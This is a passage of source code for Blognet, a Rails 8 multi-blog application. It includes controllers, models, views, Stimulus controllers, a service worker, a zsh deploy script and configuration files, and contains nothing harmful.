  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }

  def new
  end

  def create
    if user = User.find_by(email_address: params[:email_address])
      PasswordsMailer.reset(user).deliver_later
    end

    redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
  end

  def edit
  end

  def update
    if @user.update(params.permit(:password, :password_confirmation))
      @user.sessions.destroy_all
      redirect_to new_session_path, notice: "Password has been reset."
    else
      redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
    end
  end

  private
    def set_user_by_token
      @user = User.find_by_password_reset_token!(params[:token])
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
    end
end

rails/blognet/app/controllers/posts_controller.rb

# frozen_string_literal: true

class PostsController < ApplicationController
  before_action :require_authentication, except: %i[index show]
  before_action :set_blog
  before_action :set_post, only: %i[show edit update destroy]
  before_action :authorize!, only: %i[edit update destroy]

  def index
    @pagy, @posts = pagy(@blog.posts.published.includes(:user, :tags))
  end

  def show
    @post.increment!(:views_count)
    @comments = @post.comments.approved.roots.includes(:user, :replies)
    @comment  = Comment.new
  end

  def new
    @post = @blog.posts.build
  end

  def create
    @post = @blog.posts.build(post_params.merge(user: Current.user))
    @post.save ? redirect_to([@blog, @post], notice: "Post created") : render(:new, status: :unprocessable_entity)
  end

  def edit; end

  def update
    @post.update(post_params) ? redirect_to([@blog, @post], notice: "Updated") : render(:edit, status: :unprocessable_entity)
  end

  def destroy
    @post.destroy
    redirect_to @blog, notice: "Post deleted"
  end

  private

  def set_blog   = @blog = Blog.find_by!(slug: params[:blog_id])
  def set_post   = @post = @blog.posts.find_by!(slug: params[:id])
  def authorize! = redirect_to(@blog, alert: "Unauthorized") unless @post.user == Current.user

  def post_params
    params.require(:post).permit(:title, :body, :published, :slug, images: [])
  end
end

rails/blognet/app/controllers/sessions_controller.rb

# frozen_string_literal: true

class SessionsController < ApplicationController
  allow_unauthenticated_access only: %i[ new create ]
  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }

  def new
  end

  def create
    if user = User.authenticate_by(params.permit(:email_address, :password))
      start_new_session_for user
      redirect_to after_authentication_url
    else
      redirect_to new_session_path, alert: "Try another email address or password."
    end
  end

  def destroy
    terminate_session
    redirect_to new_session_path, status: :see_other
  end
end

rails/blognet/app/javascript/application.js

// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails
import "@hotwired/turbo-rails"
import "controllers"

if ("serviceWorker" in navigator) navigator.serviceWorker.register("/service-worker")

// Nav swipe-to-reveal
document.addEventListener("turbo:load", () => {
  const nav = document.querySelector("nav");
  if (!nav) return;
  let y0 = 0;
  document.addEventListener("touchstart", e => { y0 = e.touches[0].clientY; }, { passive: true });
  document.addEventListener("touchend", e => {
    const dy = e.changedTouches[0].clientY - y0;
    if (dy > 40) nav.classList.add("nav-visible");
    else if (dy < -40) nav.classList.remove("nav-visible");
  }, { passive: true });
});

rails/blognet/app/javascript/controllers/animated_number_controller.js

import AnimatedNumber from "@stimulus-components/animated-number"
export default class extends AnimatedNumber {}

rails/blognet/app/javascript/controllers/application.js

import { Application } from "@hotwired/stimulus"

const application = Application.start()

// Configure Stimulus development experience
application.debug = false
window.Stimulus   = application

export { application }

rails/blognet/app/javascript/controllers/application_controller.js

import { Controller } from "@hotwired/stimulus"
import StimulusReflex from "stimulus_reflex"

export default class extends Controller {
  connect() {
    StimulusReflex.register(this)
  }
}

rails/blognet/app/javascript/controllers/auto_submit_controller.js

import AutoSubmit from "@stimulus-components/auto-submit"
export default class extends AutoSubmit {}

rails/blognet/app/javascript/controllers/character_counter_controller.js

import CharacterCounter from "@stimulus-components/character-counter"
export default class extends CharacterCounter {}

rails/blognet/app/javascript/controllers/clipboard_controller.js

import Clipboard from "@stimulus-components/clipboard"
export default class extends Clipboard {}

rails/blognet/app/javascript/controllers/dialog_controller.js

import Dialog from "@stimulus-components/dialog"
export default class extends Dialog {}

rails/blognet/app/javascript/controllers/dropdown_controller.js

import Dropdown from "@stimulus-components/dropdown"
export default class extends Dropdown {}

rails/blognet/app/javascript/controllers/hello_controller.js

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  connect() {
    this.element.textContent = "Hello World!"
  }
}

rails/blognet/app/javascript/controllers/index.js

import { application } from "controllers/application"
import { eagerLoadControllersFrom } from "@hotwired/stimulus-loading"
import StimulusReflex from "stimulus_reflex"
import ApplicationController from "controllers/application_controller"

eagerLoadControllersFrom("controllers", application)

StimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })

rails/blognet/app/javascript/controllers/notification_controller.js

import Notification from "@stimulus-components/notification"
export default class extends Notification {}

rails/blognet/app/javascript/controllers/sortable_controller.js

import Sortable from "@stimulus-components/sortable"
export default class extends Sortable {}

rails/blognet/app/javascript/controllers/textarea_autogrow_controller.js

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  connect() {
    this.resize()
    this.element.addEventListener("input", this.resize)
  }

  disconnect() {
    this.element.removeEventListener("input", this.resize)
  }

  resize = () => {
    this.element.style.height = "auto"
    this.element.style.height = `${this.element.scrollHeight}px`
  }
}

rails/blognet/app/javascript/controllers/timeago_controller.js

import TimeAgo from "@stimulus-components/timeago"
export default class extends TimeAgo {}

rails/blognet/app/mailers/passwords_mailer.rb

# frozen_string_literal: true

class PasswordsMailer < ApplicationMailer
  def reset(user)
    @user = user
    mail subject: "Reset your password", to: user.email_address
  end
end

rails/blognet/app/models/blog.rb

# frozen_string_literal: true

class Blog < ApplicationRecord
  belongs_to :user
  has_many :posts, dependent: :destroy
  has_one_attached :banner

  validates :name, :slug, presence: true
  validates :slug, uniqueness: true, format: { with: /\A[a-z0-9-]+\z/ }

  before_validation :generate_slug, on: :create

  scope :published, -> { where(published: true) }
  scope :recent,    -> { order(created_at: :desc) }

  def to_param = slug

  private

  def generate_slug
    self.slug ||= name.to_s.parameterize
  end
end

rails/blognet/app/models/categorization.rb

# frozen_string_literal: true

class Categorization < ApplicationRecord
  belongs_to :post
  belongs_to :category

  validates :post_id, uniqueness: { scope: :category_id }
end

rails/blognet/app/models/category.rb

# frozen_string_literal: true

class Category < ApplicationRecord
  has_many :categorizations, dependent: :destroy
  has_many :posts, through: :categorizations

  validates :name, :slug, presence: true
  validates :slug, uniqueness: true, format: { with: /\A[a-z0-9-]+\z/ }

  before_validation :generate_slug, on: :create

  def to_param = slug

  private

  def generate_slug
    self.slug ||= name.to_s.parameterize
  end
end

rails/blognet/app/models/comment.rb

# frozen_string_literal: true

class Comment < ApplicationRecord
  belongs_to :post
  belongs_to :user
  belongs_to :parent, class_name: "Comment", optional: true
  has_many :replies, class_name: "Comment", foreign_key: :parent_id, dependent: :destroy

  validates :content, presence: true, length: { maximum: 5000 }

  scope :roots,    -> { where(parent_id: nil).order(created_at: :asc) }
  scope :approved, -> { where(approved: true) }

  after_create_commit :broadcast_comment

  private

  def broadcast_comment
    broadcast_append_to [post, "comments"], partial: "comments/comment", locals: { comment: self }
    post.increment!(:comments_count)
  end
end

rails/blognet/app/models/current.rb

# frozen_string_literal: true

class Current < ActiveSupport::CurrentAttributes
  attribute :session
  delegate :user, to: :session, allow_nil: true
end

rails/blognet/app/models/post.rb

# frozen_string_literal: true

class Post < ApplicationRecord
  belongs_to :blog
  belongs_to :user
  has_rich_text :body
  has_many_attached :images
  has_many :comments, dependent: :destroy
  has_many :categorizations, dependent: :destroy
  has_many :categories, through: :categorizations
  has_many :taggings, dependent: :destroy
  has_many :tags, through: :taggings

  validates :title, :slug, presence: true
  validates :slug, uniqueness: true, format: { with: /\A[a-z0-9-]+\z/ }

  before_validation :generate_slug, on: :create
  before_save :set_published_at

  scope :published, -> { where(published: true).order(published_at: :desc) }
  scope :drafts,    -> { where(published: false) }
  scope :recent,    -> { order(created_at: :desc) }

  def to_param = slug

  def reading_time
    words = body.to_plain_text.split.size
    [(words / 200.0).ceil, 1].max
  end

  private

  def generate_slug
    self.slug ||= title.to_s.parameterize
  end

  def set_published_at
    self.published_at = Time.current if published? && published_at.nil?
  end
end

rails/blognet/app/models/session.rb

# frozen_string_literal: true

class Session < ApplicationRecord
  belongs_to :user
end

rails/blognet/app/models/tag.rb

# frozen_string_literal: true

class Tag < ApplicationRecord
  has_many :taggings, dependent: :destroy
  has_many :posts, through: :taggings

  validates :name, presence: true, uniqueness: true

  before_validation -> { self.name = name.to_s.strip.downcase }, on: :create

  scope :popular, -> { where("posts_count > 0").order(posts_count: :desc) }
end

rails/blognet/app/models/tagging.rb

# frozen_string_literal: true

class Tagging < ApplicationRecord
  belongs_to :post
  belongs_to :tag, counter_cache: :posts_count

  validates :post_id, uniqueness: { scope: :tag_id }
end

rails/blognet/app/models/user.rb

# frozen_string_literal: true

class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy

  normalizes :email_address, with: ->(e) { e.strip.downcase }
end

rails/blognet/app/reflexes/application_reflex.rb

# frozen_string_literal: true

class ApplicationReflex < StimulusReflex::Reflex
end

rails/blognet/app/views/active_storage/blobs/_blob.html.erb

<figure class="attachment attachment--<%= blob.representable? ? "preview" : "file" %> attachment--<%= blob.filename.extension %>">
  <% if blob.representable? %>
    <%= image_tag blob.representation(resize_to_limit: local_assigns[:in_gallery] ? [ 800, 600 ] : [ 1024, 768 ]) %>
  <% end %>

  <figcaption class="attachment__caption">
    <% if caption = blob.try(:caption) %>
      <%= caption %>
    <% else %>
      <span class="attachment__name"><%= blob.filename %></span>
      <span class="attachment__size"><%= number_to_human_size blob.byte_size %></span>
    <% end %>
  </figcaption>
</figure>

rails/blognet/app/views/blogs/_form.html.erb

<%= form_with model: blog do |f| %>
  <%= render "shared/errors", object: blog %>
  <p><%= f.label :name %><%= f.text_field :name, autofocus: true %></p>
  <p><%= f.label :description %><%= f.text_area :description, rows: 2 %></p>
  <p><%= f.label :published %><%= f.check_box :published %></p>
  <p><%= f.submit %> <%= link_to "Cancel", blogs_path %></p>
<% end %>

rails/blognet/app/views/blogs/edit.html.erb

<% content_for :title, "Edit blog" %>
<h1>Edit <%= @blog.name %></h1>
<%= render "form", blog: @blog %>

rails/blognet/app/views/blogs/index.html.erb

<% content_for :title, "Blogs" %>
<header>
  <h1>Blogs</h1>
  <% if authenticated? %><%= link_to "New blog", new_blog_path %><% end %>
</header>
<section id="blogs">
  <% @blogs.each do |blog| %>
    <article>
      <%= link_to blog.name, blog_path(blog) %>
      <p><%= blog.description %></p>
      <small><%= blog.posts_count %> posts</small>
    </article>
  <% end %>
</section>
<%= @pagy.series_nav if @pagy.pages > 1 %>

rails/blognet/app/views/blogs/new.html.erb

<% content_for :title, "New blog" %>
<h1>New blog</h1>
<%= render "form", blog: @blog %>

rails/blognet/app/views/blogs/show.html.erb

<% content_for :title, @blog.name %>
<header>
  <h1><%= @blog.name %></h1>
  <p><%= @blog.description %></p>
  <% if @blog.user == Current.user %>
    <%= link_to "New post", new_blog_post_path(@blog) %>
    <%= link_to "Edit", edit_blog_path(@blog) %>
  <% end %>
</header>
<section id="posts">
  <% @posts.each do |post| %>
    <article>
      <%= link_to post.title, blog_post_path(@blog, post) %>
      <small><%= post.published_at&.strftime("%b %-d, %Y") %> · <%= post.views_count %> views · <%= post.comments_count %> comments</small>
    </article>
  <% end %>
</section>
<%= @pagy.series_nav if @pagy.pages > 1 %>

rails/blognet/app/views/comments/_comment.html.erb

<article id="<%= dom_id(comment) %>">
  <small><%= comment.user.email_address.split("@").first %></small>
  <p><%= comment.content %></p>
  <% if authenticated? && (comment.user == Current.user || @blog.user == Current.user) %>
    <%= button_to "Delete", blog_post_comment_path(@blog, @post, comment), method: :delete %>
  <% end %>
</article>

rails/blognet/app/views/layouts/action_text/contents/_content.html.erb

<div class="trix-content">
  <%= yield -%>
</div>

rails/blognet/app/views/layouts/application.html.erb

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <meta name="theme-color" content="#1a1a1a">
  <meta name="turbo-cache-control" content="no-preview">
  <title><%= content_for?(:title) ? "#{yield :title} — Blognet" : "Blognet" %></title>
  <meta name="description" content="<%= content_for?(:description) ? yield(:description) : "Blognet — a network of blogs. Write, publish, and discover long-form content from writers worldwide." %>">
  <link rel="canonical" href="<%= request.original_url.split("?").first %>">
  <meta property="og:site_name" content="Blognet">
  <meta property="og:title" content="<%= content_for?(:title) ? yield(:title) : "Blognet" %>">
  <meta property="og:description" content="<%= content_for?(:description) ? yield(:description) : "A network of blogs. Write, publish, and discover long-form content from writers worldwide." %>">
  <meta property="og:url" content="<%= request.original_url %>">
  <meta property="og:type" content="website">
  <meta name="twitter:card" content="summary">
  <meta name="twitter:title" content="<%= content_for?(:title) ? yield(:title) : "Blognet" %>">
  <meta name="twitter:description" content="<%= content_for?(:description) ? yield(:description) : "A network of blogs. Write, publish, and discover long-form content from writers worldwide." %>">
  <%= csrf_meta_tags %>
  <%= csp_meta_tag %>
  <link rel="icon" href="/icon.png" type="image/png">
  <link rel="apple-touch-icon" href="/icon.png">
  <%= tag.link rel: "manifest", href: pwa_manifest_path(format: :json) %>
  <%= stylesheet_link_tag :app, "data-turbo-track": "reload" %>
  <link rel="stylesheet" href="/styles/minimal-ui.css">
  <%= yield :json_ld %>
  <%= javascript_importmap_tags %>
  <script type="module" src="/minimal-gesture.js"></script>
</head>
<body class="zen-minimal">
<nav>
  <%= link_to "Blognet", root_path, class: "brand" %>
  <%= link_to "Blogs", blogs_path %>
  <% if authenticated? %>
    <%= link_to "New blog", new_blog_path %>
    <%= link_to "Sign out", session_path, data: { turbo_method: :delete } %>
  <% else %>
    <%= link_to "Sign in", new_session_path %>
  <% end %>
</nav>
<%= tag.p(notice, role: "status", class: "flash-notice") if notice %>
<%= tag.p(alert, role: "alert", class: "flash-alert") if alert %>
<main><%= yield %></main>
</body>
</html>

rails/blognet/app/views/layouts/mailer.html.erb

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
      /* Email styles need to be inline */
    </style>
  </head>

  <body>
    <%= yield %>
  </body>
</html>

rails/blognet/app/views/layouts/mailer.text.erb

<%= yield %>

rails/blognet/app/views/passwords/edit.html.erb

<h1>Update your password</h1>

<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>

<%= form_with url: password_path(params[:token]), method: :put do |form| %>
  <p><%= form.password_field :password, required: true, autocomplete: "new-password", placeholder: "Enter new password", maxlength: 72 %></p>
  <p><%= form.password_field :password_confirmation, required: true, autocomplete: "new-password", placeholder: "Repeat new password", maxlength: 72 %></p>
  <p><%= form.submit "Save" %></p>
<% end %>

rails/blognet/app/views/passwords/new.html.erb

<h1>Forgot your password?</h1>

<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>

<%= form_with url: passwords_path do |form| %>
  <p><%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %></p>
  <p><%= form.submit "Email reset instructions" %></p>
<% end %>

rails/blognet/app/views/passwords_mailer/reset.html.erb

<p>
  You can reset your password on
  <%= link_to "this password reset page", edit_password_url(@user.password_reset_token) %>.

  This link will expire in <%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.
</p>

rails/blognet/app/views/passwords_mailer/reset.text.erb

You can reset your password on
<%= edit_password_url(@user.password_reset_token) %>

This link will expire in <%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.

rails/blognet/app/views/posts/_form.html.erb

<%= form_with model: [@blog, post] do |f| %>
  <%= render "shared/errors", object: post %>
  <p><%= f.label :title %><%= f.text_field :title, autofocus: true %></p>
  <p><%= f.label :body %><%= f.rich_text_area :body %></p>
  <p><%= f.label :published %><%= f.check_box :published %></p>
  <p><%= f.submit %> <%= link_to "Cancel", blog_path(@blog) %></p>
<% end %>

rails/blognet/app/views/posts/edit.html.erb

<% content_for :title, "Edit post" %>
<h1>Edit post</h1>
<%= render "form", blog: @blog, post: @post %>

rails/blognet/app/views/posts/index.html.erb

<% content_for :title, "Posts · #{@blog.name}" %>

<header>
  <h1><%= @blog.name %></h1>
  <p><%= @blog.description %></p>
  <% if @blog.user == Current.user %>
    <%= link_to "New post", new_blog_post_path(@blog) %>
  <% end %>
</header>

<section id="posts">
  <% if @posts.any? %>
    <% @posts.each do |post| %>
      <article>
        <h2><%= link_to post.title, blog_post_path(@blog, post) %></h2>
        <small><%= post.published_at&.strftime("%b %-d, %Y") %> · <%= post.views_count %> views · <%= post.comments_count %> comments</small>
      </article>
    <% end %>
  <% else %>
    <p>No posts published yet.</p>
  <% end %>
</section>

<%= @pagy.series_nav if @pagy.pages > 1 %>

rails/blognet/app/views/posts/new.html.erb

<% content_for :title, "New post" %>
<h1>New post</h1>
<%= render "form", blog: @blog, post: @post %>

rails/blognet/app/views/posts/show.html.erb

<% content_for :title, @post.title %>
<article>
  <header>
    <h1><%= @post.title %></h1>
    <small><%= @post.user.email_address.split("@").first %> · <%= @post.published_at&.strftime("%b %-d, %Y") %> · <%= @post.views_count %> views</small>
    <% if @post.user == Current.user %>
      <%= link_to "Edit", edit_blog_post_path(@blog, @post) %>
      <%= button_to "Delete", blog_post_path(@blog, @post), method: :delete, data: { turbo_confirm: "Delete post?" } %>
    <% end %>
  </header>
  <%= @post.body %>
</article>
<section id="comments">
  <h2>Comments (<%= @post.comments_count %>)</h2>
  <%= render @comments %>
  <% if authenticated? %>
    <%= form_with url: blog_post_comments_path(@blog, @post) do |f| %>
      <p><%= f.text_area :content, rows: 3, placeholder: "Add a comment…" %></p>
      <p><%= f.submit "Comment" %></p>
    <% end %>
  <% end %>
</section>

rails/blognet/app/views/pwa/manifest.json.erb

{
  "name": "Blognet",
  "short_name": "Blognet",
  "icons": [
    {
      "src": "/icon-192.png",
      "type": "image/png",
      "sizes": "192x192"
    },
    {
      "src": "/icon.png",
      "type": "image/png",
      "sizes": "512x512"
    },
    {
      "src": "/icon.png",
      "type": "image/png",
      "sizes": "512x512",
      "purpose": "maskable"
    }
  ],
  "start_url": "/",
  "display": "standalone",
  "scope": "/",
  "description": "A network of blogs. Write, publish, and discover long-form content from writers worldwide.",
  "theme_color": "#1a1a1a",
  "background_color": "#1a1a1a"
}

rails/blognet/app/views/pwa/service-worker.js

const CACHE   = "blognet-v2"
const OFFLINE = "/offline"

self.addEventListener("install", e => {
  e.waitUntil(caches.open(CACHE).then(c => c.addAll(["/", OFFLINE])))
  self.skipWaiting()
})

self.addEventListener("activate", e => {
  e.waitUntil(caches.keys().then(keys =>
    Promise.all(keys.filter(k => k !== CACHE).map(k => caches.delete(k)))
  ))
  self.clients.claim()
})

self.addEventListener("fetch", e => {
  if (e.request.method !== "GET") return
  const url = new URL(e.request.url)
  const isNav = e.request.mode === "navigate"
  const isAsset = /\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)
  if (isAsset) {
    e.respondWith(caches.match(e.request).then(cached => cached || fetch(e.request).then(res => {
      const clone = res.clone()
      caches.open(CACHE).then(c => c.put(e.request, clone))
      return res
    })))
  } else if (isNav) {
    e.respondWith(fetch(e.request).catch(() => caches.match(OFFLINE)))
  }
})

rails/blognet/app/views/sessions/new.html.erb

<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>
<% if flash[:notice] %><p role="status"><%= flash[:notice] %></p><% end %>

<%= form_with url: session_path do |form| %>
  <p><%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %></p>
  <p><%= form.password_field :password, required: true, autocomplete: "current-password", placeholder: "Enter your password", maxlength: 72 %></p>
  <p><%= form.submit "Sign in" %></p>
<% end %>

<p><%= link_to "Forgot password?", new_password_path %></p>

rails/blognet/blognet.sh

#!/usr/bin/env zsh
# blognet.sh — deploys the tracked Blognet Rails tree at app/.
set -euo pipefail

APP_NAME=blognet
APP_DIR=/home/${APP_NAME}/app
APP_PORT=10002
APP_DOMAIN=blognet.no
SCRIPT_DIR=${0:a:h}
SRC_DIR=${SCRIPT_DIR}
SHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}

. "${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh"

need_cmd ruby34 bundle doas

[[ -d $SRC_DIR ]] || { log_err "missing source tree: $SRC_DIR"; exit 1; }

log "${APP_NAME} — deploying tracked tree → ${APP_DIR}"

id "$APP_NAME" >/dev/null 2>&1 || doas useradd -m -L daemon -s /bin/ksh "$APP_NAME"
doas mkdir -p "$APP_DIR"

# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)
doas cp -R "${SCRIPT_DIR:h}/shared/bin/." "${APP_DIR}/bin/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/public/." "${APP_DIR}/public/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/config/." "${APP_DIR}/config/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/app/." "${APP_DIR}/app/" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/Rakefile" "${APP_DIR}/Rakefile" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/config.ru" "${APP_DIR}/config.ru" 2>/dev/null || true

# Per-app tracked tree last (specialized instances + custom overrides win)
doas cp -R "${SRC_DIR}/." "${APP_DIR}/"
doas chown -R "${APP_NAME}:${APP_NAME}" "$APP_DIR"

cd "$APP_DIR"

typeset bundle_home="/home/${APP_NAME}/.bundle"
doas mkdir -p "$bundle_home"

if [[ ! -d ${bundle_home}/gems ]]; then
  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then
    log "Bootstrapping gems from ${SHARED_BUNDLE_CACHE}"
    doas cp -R "${SHARED_BUNDLE_CACHE}/gems" "$bundle_home/"
    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] && doas cp -R "${SHARED_BUNDLE_CACHE}/cache" "$bundle_home/" || true
  else
    log_warn "No shared bundle cache found; bundle install will resolve gems normally"
  fi
  doas chown -R "${APP_NAME}:${APP_NAME}" "$bundle_home"
fi

doas mkdir -p "${APP_DIR}/.bundle"
print -- "---\nBUNDLE_PATH: \"${bundle_home}/gems\"" | doas tee "${APP_DIR}/.bundle/config" >/dev/null
doas chown -R "${APP_NAME}:${APP_NAME}" "${APP_DIR}/.bundle"

doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && bundle config set --local deployment true && bundle config set --local without 'development test' && RAILS_ENV=production bundle install"
doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:create db:migrate"
[[ -f ${APP_DIR}/db/seeds.rb ]] && doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:seed" || true

install_rcd "$APP_NAME" "$APP_DIR" "$APP_PORT" "$APP_NAME"
[[ -n $APP_DOMAIN ]] && relayd_add_relay "$APP_DOMAIN" "$APP_PORT"

doas rcctl restart "$APP_NAME" || doas rcctl start "$APP_NAME"
log_ok "$APP_NAME live on :$APP_PORT"

rails/blognet/config/application.rb

# frozen_string_literal: true

require_relative "boot"

require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
# require "rails/test_unit/railtie"

# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)

module App
  class Application < Rails::Application
    # Initialize configuration defaults for originally generated Rails version.
    config.load_defaults 8.1

    # Please, add to the `ignore` list any other `lib` subdirectories that do
    # not contain `.rb` files, or that should not be reloaded or eager loaded.
    # Common ones are `templates`, `generators`, or `middleware`, for example.
    config.autoload_lib(ignore: %w[assets tasks])

    # Configuration for the application, engines, and railties goes here.
    #
    # These settings can be overridden in specific environments using the files
    # in config/environments, which are processed later.
    #
    # config.time_zone = "Central Time (US & Canada)"
    # config.eager_load_paths << Rails.root.join("extras")

    # Don't generate system test files.
    config.generators.system_tests = nil
  end
end

rails/blognet/config/cable.yml

# Async adapter only works within the same process, so for manually triggering cable updates from a console,
# and seeing results in the browser, you must do so from the web console (running inside the dev process),
# not a terminal started via bin/rails console! Add "console" to any action or any ERB template view
# to make the web console appear.
development:
  adapter: async

test:
  adapter: test

production:
  adapter: solid_cable
  connects_to:
    database:
      writing: cable
  polling_interval: 0.1.seconds
  message_retention: 1.day

rails/blognet/config/cache.yml

default: &default
  store_options:
    # Cap age of oldest cache entry to fulfill retention policies
    # max_age: <%= 60.days.to_i %>
    max_size: <%= 256.megabytes %>
    namespace: <%= Rails.env %>

development:
  <<: *default

test:
  <<: *default

production:
  database: cache
  <<: *default

rails/blognet/config/database.yml

# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  max_connections: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

# Store production database in the storage/ directory, which by default
# is mounted as a persistent Docker volume in config/deploy.yml.
production:
  primary:
    <<: *default
    database: storage/production.sqlite3
  cache:
    <<: *default
    database: storage/production_cache.sqlite3
    migrations_paths: db/cache_migrate
  queue:
    <<: *default
    database: storage/production_queue.sqlite3
    migrations_paths: db/queue_migrate
  cable:
    <<: *default
    database: storage/production_cable.sqlite3
    migrations_paths: db/cable_migrate

rails/blognet/config/deploy.yml

# Name of your application. Used to uniquely configure containers.
service: app

# Name of the container image (use your-user/app-name on external registries).
image: app

# Deploy to these servers.
servers:
  web:
    - 192.168.0.1
  # job:
  #   hosts:
  #     - 192.168.0.1
  #   cmd: bin/jobs

# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.
# If used with Cloudflare, set encryption mode in SSL/TLS setting to "Full" to enable CF-to-app encryption.
#
# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.
#
# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).
#
# proxy:
#   ssl: true
#   host: blognet.no

# Where you keep your container images.
registry:
  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...
  server: localhost:5555

  # Needed for authenticated registries.
  # username: your-user

  # Always use an access token rather than real password when possible.
  # password:
  #   - KAMAL_REGISTRY_PASSWORD

# Inject ENV variables into containers (secrets come from .kamal/secrets).
env:
  secret:
    - RAILS_MASTER_KEY
  clear:
    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.
    # When you start using multiple servers, you should split out job processing to a dedicated machine.
    SOLID_QUEUE_IN_PUMA: true

    # Set number of processes dedicated to Solid Queue (default: 1)
    # JOB_CONCURRENCY: 3

    # Set number of cores available to the application on each server (default: 1).
    # WEB_CONCURRENCY: 2

    # Match this to any external database server to configure Active Record correctly
    # Use app-db for a db accessory server on same machine via local kamal docker network.
    # DB_HOST: 192.168.0.2

    # Log everything from Rails
    # RAILS_LOG_LEVEL: debug

# Aliases are triggered with "bin/kamal <alias>". You can overwrite arguments on invocation:
# "bin/kamal logs -r job" will tail logs from the first server in the job section.
aliases:
  console: app exec --interactive --reuse "bin/rails console"
  shell: app exec --interactive --reuse "bash"
  logs: app logs -f
  dbc: app exec --interactive --reuse "bin/rails dbconsole --include-password"

# Use a persistent storage volume for sqlite database files and local Active Storage files.
# Recommended to change this to a mounted volume path that is backed up off server.
volumes:
  - "app_storage:/rails/storage"

# Bridge fingerprinted assets, like JS and CSS, between versions to avoid
# hitting 404 on in-flight requests. Combines all files from new and old
# version inside the asset_path.
asset_path: /rails/public/assets

# Configure the image builder.
builder:
  arch: amd64

  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)
  # remote: ssh://docker@docker-builder-server
  #
  # # Pass arguments and secrets to the Docker build process
  # args:
  #   RUBY_VERSION: ruby-3.4.9
  # secrets:
  #   - GITHUB_TOKEN
  #   - RAILS_MASTER_KEY

# Use a different ssh user than root
# ssh:
#   user: app

# Use accessory services (secrets come from .kamal/secrets).
# accessories:
#   db:
#     image: mysql:8.0
#     host: 192.168.0.2
#     # Change to 3306 to expose port to the world instead of just local network.
#     port: "127.0.0.1:3306:3306"
#     env:
#       clear:
#         MYSQL_ROOT_HOST: '%'
#       secret:
#         - MYSQL_ROOT_PASSWORD
#     files:
#       - config/mysql/production.cnf:/etc/mysql/my.cnf
#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql
#     directories:
#       - data:/var/lib/mysql
#   redis:
#     image: valkey/valkey:8
#     host: 192.168.0.2
#     port: 6379
#     directories:
#       - data:/data

rails/blognet/config/environments/production.rb

# frozen_string_literal: true

require "active_support/core_ext/integer/time"

Rails.application.configure do
  # Settings specified here will take precedence over those in config/application.rb.

  # Code is not reloaded between requests.
  config.enable_reloading = false

  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).
  config.eager_load = true

  # Full error reports are disabled.
  config.consider_all_requests_local = false

  # Turn on fragment caching in view templates.
  config.action_controller.perform_caching = true

  # Cache assets for far-future expiry since they are all digest stamped.
  config.public_file_server.headers = { "cache-control" => "public, max-age=#{1.year.to_i}" }

  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
  # config.asset_host = "http://assets.example.com"

  # Store uploaded files on the local file system (see config/storage.yml for options).
  config.active_storage.service = :local

  # Assume all access to the app is happening through a SSL-terminating reverse proxy.
